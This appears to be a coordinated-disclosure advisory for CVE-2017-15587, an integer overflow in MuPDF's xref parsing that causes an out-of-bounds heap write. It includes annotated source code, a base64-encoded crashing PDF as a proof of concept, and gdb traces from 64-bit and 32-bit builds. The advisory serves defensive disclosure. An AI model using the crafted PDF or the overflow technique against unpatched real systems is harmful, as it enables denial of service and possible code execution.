A vulnerability in mutools PDF parsing functionality allows an attacker to write controlled data to an arbitrary location in memory due to an integer overflow when performing truncated xref checks.
On 64 bit builds, the extent of this bug is most likely a denial-of-service while on 32 bit builds, the bug can possibly be leveraged to gain arbitrary code execution.
Affected Versions
The current release (1.11) is affected. Further analysis is required to determine which versions are also affected by the vulnerability.
Vulnerability Scores
- Classification: CWE-787: Out-of-Bounds Write
- CVSSv3: 7.3 (AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H)
Description
The vulnerable lines of code are present in the file source/pdf/pdf-xref.c
.
They are triggered in the info
, ‘show’, ‘draw’, ‘clean’, ‘extract’, ‘merge’,
‘portfolio’, ‘poster’, and ‘pages’ functions of mutool
.
The attached minimised crashing sample includes the following object that triggers the vulnerable code path.
obj<</[]/Index[2147483647 1]/ 0 0 R/ 0/Size 0/W[]>>stream
The issue stems from how the “/Index” entry is parsed and processed. The “/Index” entry is an array containing pairs of integers that denote the first object number in the subsection and the number of entries in the subsection.
In the function pdf_read_new_xref
, the pairs of integers are read and
processed. For each pair of integers, the first number is read as an int
into
i0
and the second is read as an int
into i1
. The two values are passed
into the pdf_read_new_xref_section
call.
958 static pdf_obj *
959 pdf_read_new_xref(fz_context *ctx, pdf_document *doc, pdf_lexbuf *buf)
960 {
...
1022 int n = pdf_array_len(ctx, index);
1023 for (t = 0; t < n; t += 2)
1024 {
1025 int i0 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 0));
1026 int i1 = pdf_to_int(ctx, pdf_array_get(ctx, index, t + 1));
1027 pdf_read_new_xref_section(ctx, doc, stm, i0, i1, w0, w1, w2);
1028 }
...
1050 }
In the pdf_read_new_xref_section
function, some sanity checks are performed to
validate the xref structure. First, the two values have to be non-negative.
Second, it checks that the xref stream is not truncated. For the out-of-bounds
write to occur, the truncation check has to be bypassed.
This can be achieved by skipping the loop in line 927 by causing an integer
overflow in the calculation i0 +i1
. Since the values are of the type int and
are signed
, adding 2147483647
and 1
causes the calculation to wrap around
resulting in the value of -2147483648
.
915 static void
916 pdf_read_new_xref_section(fz_context *ctx, pdf_document *doc,
fz_stream *stm, fz_off_t i0, int i1, int w0,
int w1, int w2)
917 {
...
921 if (i0 < 0 || i1 < 0)
922 fz_throw(ctx, FZ_ERROR_GENERIC,
"negative xref stream entry index");
...
927 for (i = i0; i < i0 + i1; i++)
928 {
...
934 if (fz_is_eof(ctx, stm))
935 fz_throw(ctx, FZ_ERROR_GENERIC, "truncated xref stream");
...
952 }
...
955 }
Later on in the execution, the ensure_solid_xref
function is called to merge
xref subsections. The field sub->start
contains the value of i0
and the
field sub->len
contains the value in i1
. new_sub->table
holds an address
in the heap. In the above example on a 64 bit build, the assignment will resolve
to new_sub->table[0x7fffffff] = sub->table[0];
. The type of new_sub->table
is pdf_xref_entry
which is of size 0x20 which means that the dereference
happens in multiples of 0x20. This causes the out-of-bounds write.
162 /* Ensure that the given xref has a single subsection
163 * that covers the entire range. */
164 static void
165 ensure_solid_xref(fz_context *ctx, pdf_document *doc, int num, int which)
166 {
...
199 for (i = 0; i < sub->len; i++)
200 {
201 new_sub->table[i+sub->start] = sub->table[i];
202 }
...
211 }
Due to the nature of constraints, i1
is bounded by the amount of memory
possible to be allocated by calloc
. Thus, i0
is restricted to a very large
number.
On a 64 bit build, this would most likely cause a crash since the write will land in unaddressable memory. On a 32 bit build, the integer wrap around can be leveraged again to put the write in valid addressable regions and possibly achieve arbitrary code execution or cause other unspecified impact.
Mitigation
A quick fix for the issue would be to include a check for the integer overflow
in pdf_read_new_xref_section
. Further analysis is required to identify
systemic issues resulting from the unsafe use of signed integers before
suggesting a robust fix.
Proof of Concept
The file crash.pdf
is included here as a base64 encoded file.
JVBERi0wMDAwMDAgMCBvYmo8PC9bXS9JbmRleFsyMTQ3NDgzNjQ3IDFdLyAwIDAgUi8gMC9TaXpl
IDAvV1tdPj5zdHJlYW0Nc3RhcnR4cmVmMTAK
On a 64 bit build of mupdf, the program crashes on the abovementioned write.
$ gdb ./mutool
(gdb) r info manipulate.pdf
Starting program: /vagrant/projects/mupdf/mutool info manipulate.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
manipulate.pdf:
warning: line feed missing after stream begin marker (0 0 R)
Program received signal SIGSEGV, Segmentation fault.
0x00000000004b9ec6 in ensure_solid_xref (ctx=0x2962010, doc=0x2972ba0, num=1,
which=0) at source/pdf/pdf-xref.c:201
201 new_sub->table[i+sub->start] = sub->table[i];
(gdb) p *sub
$1 = {next = 0x0, len = 1, start = 2147483647, table = 0x29850d0}
(gdb) p *new_sub
$2 = {next = 0x0, len = 1, start = 0, table = 0x2985120}
(gdb) x/i $rip
=> 0x4b9ec6 <ensure_solid_xref+433>: mov %rcx,(%rax)
(gdb) info reg rax rcx
rax 0x1002985100 68763013376
rcx 0x0 0
Whereas on a 32 bit build, the write address wraps around into a valid heap memory region and the out-of-bounds write succeeds.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vagrant/projects/mupdf/mutool-32 info manipulate.pdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
manipulate.pdf:
warning: line feed missing after stream begin marker (0 0 R)
Breakpoint 1, ensure_solid_xref (ctx=0xa32a008, doc=0xa336948, num=1, which=0)
at source/pdf/pdf-xref.c:201
201 new_sub->table[i+sub->start] = sub->table[i];
(gdb) p *sub
$1 = {next = 0x0, len = 1, start = 2147483647, table = 0xa348c60}
(gdb) p *new_sub
$2 = {next = 0x0, len = 1, start = 0, table = 0xa348c98}
(gdb) info reg eax ecx
eax 0x1 1
ecx 0xa32a40c 171090956
(gdb) x/xw 0xa32a40c
0xa32a40c: 0x00000000
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x080e6a21 in pdf_read_new_xref (ctx=0xa32a008, doc=0xa336948, buf=0xa336a20)
at source/pdf/pdf-xref.c:1031
1031 entry->ofs = ofs;
(gdb)
Credit
This issue was discovered by Terry Chia (@ayrx) and Jeremy Heng (@nn_amon).
Timeline
- 28 Sept 2017 - Discovery of the vulnerability.
- 28 Sept 2017 - Disclosure of vulnerability to the vendor and to Debian Security Team.
- 16 Oct 2017 - Vendor fixes the issue in git commit.
- 18 Oct 2017 - CVE-2017-15587 assigned to the issue.
- 18 Oct 2017 - Publication of the vulnerability details.
Leave a Comment